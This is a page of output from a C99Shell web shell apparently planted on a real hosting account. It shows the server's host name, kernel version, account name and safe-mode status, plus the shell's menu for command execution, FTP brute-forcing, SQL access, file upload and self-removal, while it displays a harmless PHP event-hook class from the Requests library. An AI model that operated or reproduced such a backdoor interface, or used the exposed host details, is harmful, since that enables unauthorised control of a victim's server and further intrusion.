!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC
2023 x86_64
 

uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) 

Safe-mode: OFF (not secure)

/var/softaculous/sitepad/editor/site-inc/Requests/   drwxr-xr-x
Free 289.63 GB of 429.69 GB (67.4%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Hooks.php (1.37 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * Handles adding and dispatching events
 *
 * @package Requests
 * @subpackage Utilities
 */

/**
 * Handles adding and dispatching events
 *
 * @package Requests
 * @subpackage Utilities
 */
class Requests_Hooks implements Requests_Hooker {
    
/**
     * Registered callbacks for each hook
     *
     * @var array
     */
    
protected $hooks = array();

    
/**
     * Constructor
     */
    
public function __construct() {
        
// pass
    
}

    
/**
     * Register a callback for a hook
     *
     * @param string $hook Hook name
     * @param callback $callback Function/method to call on event
     * @param int $priority Priority number. <0 is executed earlier, >0 is executed later
     */
    
public function register($hook$callback$priority 0) {
        if (!isset(
$this->hooks[$hook])) {
            
$this->hooks[$hook] = array();
        }
        if (!isset(
$this->hooks[$hook][$priority])) {
            
$this->hooks[$hook][$priority] = array();
        }

        
$this->hooks[$hook][$priority][] = $callback;
    }

    
/**
     * Dispatch a message
     *
     * @param string $hook Hook name
     * @param array $parameters Parameters to pass to callbacks
     * @return boolean Successfulness
     */
    
public function dispatch($hook$parameters = array()) {
        if (empty(
$this->hooks[$hook])) {
            return 
false;
        }

        foreach (
$this->hooks[$hook] as $priority => $hooked) {
            foreach (
$hooked as $callback) {
                
call_user_func_array($callback$parameters);
            }
        }

        return 
true;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0035 ]--